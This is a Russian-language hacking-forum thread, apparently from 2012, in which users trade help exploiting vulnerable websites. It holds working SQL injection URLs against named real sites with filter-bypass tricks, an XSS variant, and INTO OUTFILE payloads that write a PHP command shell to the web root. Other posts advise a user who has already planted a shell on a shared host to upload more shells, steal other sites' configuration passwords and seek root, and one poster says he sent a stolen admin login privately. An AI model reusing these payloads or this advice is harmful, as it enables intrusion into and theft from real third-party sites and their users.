Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    добавил
    table_name+from+information_schema.tables

    и снова таже ошибка
     
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    во первых желатильней код шела в значение хекс преоброзовать, во вторых убедись что кавычки не фильтруются и не слешируются...
     
    _________________________
  3. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Code:
    http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/version())y/**/join(select/**/table_name/**/from/**/information_schema.tables)z/**/join(select/**/database())a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*
    Code:
    CHARACTER_SETS
    Но мы не сможем юзать /**/limit/**/0,1. Ведь там запятая, которая фильтруется.
    Поэтому попробуем group_concat:
    Code:
    http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/)y/**/join(select/**/5)z/**/join(select/**/4)a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*
    Видим members.
    Еще один ньюанс. Оказывается, что фильтруется и "=". Т.e. where/**/table_name='members' юзать невозможно. Но зато есть LIKE:
    Code:
    http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'members')y/**/join(select/**/5)z/**/join(select/**/4)a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*
    Code:
    memberID,lname,fname,email
    и т.д.

    P.S. Можно еще в XSS превратить:
    Code:
    http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/[COLOR=Yellow]%3Cscript%3Ealert('Privet!')%3C/script%3E[/COLOR]/**/from/**/members)y/**/join(select/**/5)z/**/join(select/**/4)a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*

    2OxoTnik,
    Code:
    +union+select+1,2,'<? system($_GET[a]); ?>',4,5,6,7,8+into+outfile+'/var/www/shell.php'--
    Папка доступна на запись? При выполнении error не выскакивает? Если да, то ищи другие папки. Проверь MQ.
     
    2 people like this.
  4. kravch_v

    kravch_v Member

    Joined:
    1 Sep 2011
    Messages:
    134
    Likes Received:
    43
    Reputations:
    1
    Code:
    select '<? system($_GET[a]); ?>' from table_name into outfile '/var/www/shell.php';
    или попробуй так:
    Code:
    select '<? system($_GET[a]); ?>' from mysql.user into outfile '/var/www/shell.php'
     
  5. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    а вот такой вопрос, короче тут слепая скуля,
    наугад в пару запросов нашол таблицу users и колонку passwd


    осталось добыть пароль, и тут возникла проблема,
    через пхп скрипт немогу перебрать так как при откритии урала в ответе от сайта только ответ о том что неустановлен какойто плагин, хавидж не может ничего сделать, какие могут быть предложеня?
     
  6. gl0w

    gl0w Member

    Joined:
    31 Dec 2011
    Messages:
    59
    Likes Received:
    21
    Reputations:
    5
    Если хавидж не берет, значит раскрутить это нельзя!!! XDDD
    Какие тут могут быть предложения... Крути ручками или ищи еще какие-то программы (sqlmap, Toolza, даже не знаю какие еще существуют), иногда бывает проще написать скрипт для дампа самому.

    З.Ы: Отправил логин-пароль админа в личку.
     
    #19246 gl0w, 4 Feb 2012
    Last edited: 4 Feb 2012
  7. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Такая проблема, залил шел на сайт, зашёл на шел оказался в /home/gtrxuoxn/public_html/images/, далее перешёл в раздел /home/, а там около 3х тыщ сайтов и не на одном нельзя править править файлы даже не везде можно загрузить файл, что тут можно сделать??
     
  8. gl0w

    gl0w Member

    Joined:
    31 Dec 2011
    Messages:
    59
    Likes Received:
    21
    Reputations:
    5
    Попытайся получить root-права на этой машине (тебе Сюда)
    Выложи туда конфигурацию сервера согласно примеру из 1ого поста и возможно тебе помогут :3
     
  9. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    muljtik, найди на сайтах папки с правами на запись и выполнение, залей туда шеллы.
    Если крупные сайты, можно поискать баги в скриптах.
     
  10. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0

    Да, на некоторых доменах в не которые папки есть возможность залить шелл, но всё равно когда захожу на только что залитый шелл им нельзя править индексную страницу...
    хочу получить полный доступ к серверу но не знаю как, выполнил пару команд
    $ uname -a
    Linux cpanel12.per.syra.net.au 2.6.18-274.7.1.el5 #1 SMP Thu Oct 20 16:21:01 EDT 2011 x86_64 x86_64 x86_64 GNU/Linux
    $ cat /etc/redhat-release
    CentOS release 5.7 (Final)
    поискал сплойт на exploit-db.com, без успешно
     
  11. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    2muljtik,
    2.6.18-274.7.1.el5
    под него нет пока сплойтов(мб и есть).
    Попробуй прочитать конфиги других сайтов, узнать пароль и уже из админки тех сайтов заливать шелл.
     
  12. muljtik

    muljtik New Member

    Joined:
    5 Jan 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0

    будет ли разница если я залью шелл через админку или через шелл на другом сайте найду папку с правами на загрузку файлов и залью туда другой шелл
     
  13. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    да нет смысла лить шеллы....только рутать, чего невозможно...
     
  14. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Бывали случаи... Иногда льется не под 80/apache.
     
  15. pirat0

    pirat0 Member

    Joined:
    16 Jan 2011
    Messages:
    71
    Likes Received:
    6
    Reputations:
    -1
    http://esus.ru/php/content.php?id=2775+union+select+1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9--
    помогите вывести столбцы, или это blind?? хотя хавидж не определил что блайнд поэтому и обращяюсь
     
  16. kravch_v

    kravch_v Member

    Joined:
    1 Sep 2011
    Messages:
    134
    Likes Received:
    43
    Reputations:
    1
    это слепая инъекция.
     
    1 person likes this.
  17. pirat0

    pirat0 Member

    Joined:
    16 Jan 2011
    Messages:
    71
    Likes Received:
    6
    Reputations:
    -1
    ах, точняк сиптом погнал, поспешил с вопросом, спс ;)
     
  18. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    Такой вопрос, подобрал столбцы, версию и тп выыводит нормально, при попытке вывести данние таблиц выводит ошибку
    почему?
     
  19. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.europeeye.ro/detalii?id=7+union+select+1,unhex(hex(table_name)),3,4,5,6+from+information_schema.tables+--+
     
    _________________________
    1 person likes this.
  20. Tr[1]x

    Tr[1]x New Member

    Joined:
    20 Aug 2010
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Можно ли как-то использовать данные уязвимости?
    [​IMG]
     
Thread Status:
Not open for further replies.